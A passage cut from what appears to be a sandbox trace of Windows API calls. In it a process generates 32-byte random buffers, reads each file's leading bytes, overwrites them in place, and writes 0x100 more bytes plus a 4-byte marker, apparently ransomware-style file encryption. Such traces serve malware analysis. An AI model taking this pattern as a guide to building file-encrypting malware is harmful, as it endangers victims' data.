Flags=0x0, Size=0x20) returned 0x331ea88 [0082.332] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0082.332] GetProcessHeap () returned 0x540000 [0082.332] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0082.332] ReadFile (in: hFile=0x828, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0082.448] SetFilePointerEx (in: hFile=0x828, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.448] WriteFile (in: hFile=0x828, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0082.448] GetProcessHeap () returned 0x540000 [0082.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0082.448] GetProcessHeap () returned 0x540000 [0082.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.448] GetProcessHeap () returned 0x540000 [0082.448] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ef10 [0082.448] GetProcessHeap () returned 0x540000 [0082.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.448] GetProcessHeap () returned 0x540000 [0082.448] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0082.448] GetProcessHeap () returned 0x540000 [0082.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.448] GetProcessHeap () returned 0x540000 [0082.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.448] GetProcessHeap () returned 0x540000 [0082.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.448] GetProcessHeap () returned 0x540000 [0082.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.448] GetProcessHeap () returned 0x540000 [0082.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.448] GetProcessHeap () returned 0x540000 [0082.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.449] GetProcessHeap () returned 0x540000 [0082.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.450] GetProcessHeap () returned 0x540000 [0082.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.451] GetProcessHeap () returned 0x540000 [0082.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.451] GetProcessHeap () returned 0x540000 [0082.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.451] GetProcessHeap () returned 0x540000 [0082.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.451] GetProcessHeap () returned 0x540000 [0082.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.451] GetProcessHeap () returned 0x540000 [0082.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.451] GetProcessHeap () returned 0x540000 [0082.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.451] GetProcessHeap () returned 0x540000 [0082.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.451] GetProcessHeap () returned 0x540000 [0082.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.451] GetProcessHeap () returned 0x540000 [0082.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.451] GetProcessHeap () returned 0x540000 [0082.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.451] GetProcessHeap () returned 0x540000 [0082.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.451] GetProcessHeap () returned 0x540000 [0082.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.451] GetProcessHeap () returned 0x540000 [0082.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.451] GetProcessHeap () returned 0x540000 [0082.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.452] GetProcessHeap () returned 0x540000 [0082.452] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.452] GetProcessHeap () returned 0x540000 [0082.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.452] GetProcessHeap () returned 0x540000 [0082.452] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.452] GetProcessHeap () returned 0x540000 [0082.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.452] GetProcessHeap () returned 0x540000 [0082.452] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.452] GetProcessHeap () returned 0x540000 [0082.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.452] GetProcessHeap () returned 0x540000 [0082.452] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.452] GetProcessHeap () returned 0x540000 [0082.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.452] GetProcessHeap () returned 0x540000 [0082.452] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0082.452] GetProcessHeap () returned 0x540000 [0082.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.452] GetProcessHeap () returned 0x540000 [0082.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0082.452] GetProcessHeap () returned 0x540000 [0082.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0082.452] GetProcessHeap () returned 0x540000 [0082.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.452] GetProcessHeap () returned 0x540000 [0082.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0082.452] SetFilePointerEx (in: hFile=0x828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.452] WriteFile (in: hFile=0x828, lpBuffer=0x3345b00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345b00*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0082.453] WriteFile (in: hFile=0x828, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0082.453] GetProcessHeap () returned 0x540000 [0082.453] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0082.453] GetProcessHeap () returned 0x540000 [0082.453] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0082.453] GetProcessHeap () returned 0x540000 [0082.453] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0082.453] CloseHandle (hObject=0x828) returned 1 [0082.455] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 43 [0082.455] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.455] ReadFile (in: hFile=0x814, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0082.455] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.455] GetProcessHeap () returned 0x540000 [0082.455] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0082.455] GetProcessHeap () returned 0x540000 [0082.455] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ea88 [0082.455] SystemFunction036 (in: RandomBuffer=0x331ea88, RandomBufferLength=0x20 | out: RandomBuffer=0x331ea88) returned 1 [0082.455] GetProcessHeap () returned 0x540000 [0082.455] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0082.455] ReadFile (in: hFile=0x814, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x2c5fd08*=0x494, lpOverlapped=0x0) returned 1 [0082.533] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0xfffffb6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.533] WriteFile (in: hFile=0x814, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x494, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x2c5fd44*=0x494, lpOverlapped=0x0) returned 1 [0082.534] GetProcessHeap () returned 0x540000 [0082.534] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0082.534] GetProcessHeap () returned 0x540000 [0082.534] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.534] GetProcessHeap () returned 0x540000 [0082.534] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0082.534] GetProcessHeap () returned 0x540000 [0082.534] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.534] GetProcessHeap () returned 0x540000 [0082.534] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f280 [0082.534] GetProcessHeap () returned 0x540000 [0082.534] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0082.534] GetProcessHeap () returned 0x540000 [0082.534] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.534] GetProcessHeap () returned 0x540000 [0082.534] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.534] GetProcessHeap () returned 0x540000 [0082.534] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.534] GetProcessHeap () returned 0x540000 [0082.534] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.534] GetProcessHeap () returned 0x540000 [0082.534] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.534] GetProcessHeap () returned 0x540000 [0082.534] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.534] GetProcessHeap () returned 0x540000 [0082.534] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.534] GetProcessHeap () returned 0x540000 [0082.534] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.534] GetProcessHeap () returned 0x540000 [0082.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.535] GetProcessHeap () returned 0x540000 [0082.535] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.535] GetProcessHeap () returned 0x540000 [0082.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.535] GetProcessHeap () returned 0x540000 [0082.535] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.535] GetProcessHeap () returned 0x540000 [0082.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.535] GetProcessHeap () returned 0x540000 [0082.535] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.535] GetProcessHeap () returned 0x540000 [0082.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.535] GetProcessHeap () returned 0x540000 [0082.535] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.535] GetProcessHeap () returned 0x540000 [0082.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.535] GetProcessHeap () returned 0x540000 [0082.535] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.535] GetProcessHeap () returned 0x540000 [0082.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.535] GetProcessHeap () returned 0x540000 [0082.535] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.535] GetProcessHeap () returned 0x540000 [0082.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.535] GetProcessHeap () returned 0x540000 [0082.535] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.535] GetProcessHeap () returned 0x540000 [0082.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.535] GetProcessHeap () returned 0x540000 [0082.535] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.535] GetProcessHeap () returned 0x540000 [0082.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.535] GetProcessHeap () returned 0x540000 [0082.535] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.535] GetProcessHeap () returned 0x540000 [0082.535] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.535] GetProcessHeap () returned 0x540000 [0082.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.536] GetProcessHeap () returned 0x540000 [0082.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0082.536] GetProcessHeap () returned 0x540000 [0082.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.536] GetProcessHeap () returned 0x540000 [0082.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0082.536] GetProcessHeap () returned 0x540000 [0082.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0082.536] GetProcessHeap () returned 0x540000 [0082.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0082.536] GetProcessHeap () returned 0x540000 [0082.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0082.536] GetProcessHeap () returned 0x540000 [0082.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0082.536] GetProcessHeap () returned 0x540000 [0082.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0082.536] GetProcessHeap () returned 0x540000 [0082.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0082.536] GetProcessHeap () returned 0x540000 [0082.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0082.536] GetProcessHeap () returned 0x540000 [0082.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345d10 [0082.536] GetProcessHeap () returned 0x540000 [0082.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0082.536] GetProcessHeap () returned 0x540000 [0082.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1f8) returned 0x573730 [0082.536] GetProcessHeap () returned 0x540000 [0082.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345d10 | out: hHeap=0x540000) returned 1 [0082.536] GetProcessHeap () returned 0x540000 [0082.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.536] GetProcessHeap () returned 0x540000 [0082.536] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x573730 | out: hHeap=0x540000) returned 1 [0082.536] GetProcessHeap () returned 0x540000 [0082.536] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.537] GetProcessHeap () returned 0x540000 [0082.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.537] GetProcessHeap () returned 0x540000 [0082.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.537] GetProcessHeap () returned 0x540000 [0082.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.537] GetProcessHeap () returned 0x540000 [0082.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.537] GetProcessHeap () returned 0x540000 [0082.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.537] GetProcessHeap () returned 0x540000 [0082.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.537] GetProcessHeap () returned 0x540000 [0082.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.537] GetProcessHeap () returned 0x540000 [0082.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.537] GetProcessHeap () returned 0x540000 [0082.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.537] GetProcessHeap () returned 0x540000 [0082.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.537] GetProcessHeap () returned 0x540000 [0082.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.537] GetProcessHeap () returned 0x540000 [0082.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.537] GetProcessHeap () returned 0x540000 [0082.537] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.537] GetProcessHeap () returned 0x540000 [0082.537] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.538] GetProcessHeap () returned 0x540000 [0082.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.538] GetProcessHeap () returned 0x540000 [0082.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.538] GetProcessHeap () returned 0x540000 [0082.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.538] GetProcessHeap () returned 0x540000 [0082.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0082.538] GetProcessHeap () returned 0x540000 [0082.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.538] GetProcessHeap () returned 0x540000 [0082.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0082.538] GetProcessHeap () returned 0x540000 [0082.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0082.538] GetProcessHeap () returned 0x540000 [0082.538] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3340258 [0082.538] GetProcessHeap () returned 0x540000 [0082.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0082.538] GetProcessHeap () returned 0x540000 [0082.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0082.538] GetProcessHeap () returned 0x540000 [0082.538] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f280 | out: hHeap=0x540000) returned 1 [0082.538] GetProcessHeap () returned 0x540000 [0082.538] HeapFree (in: 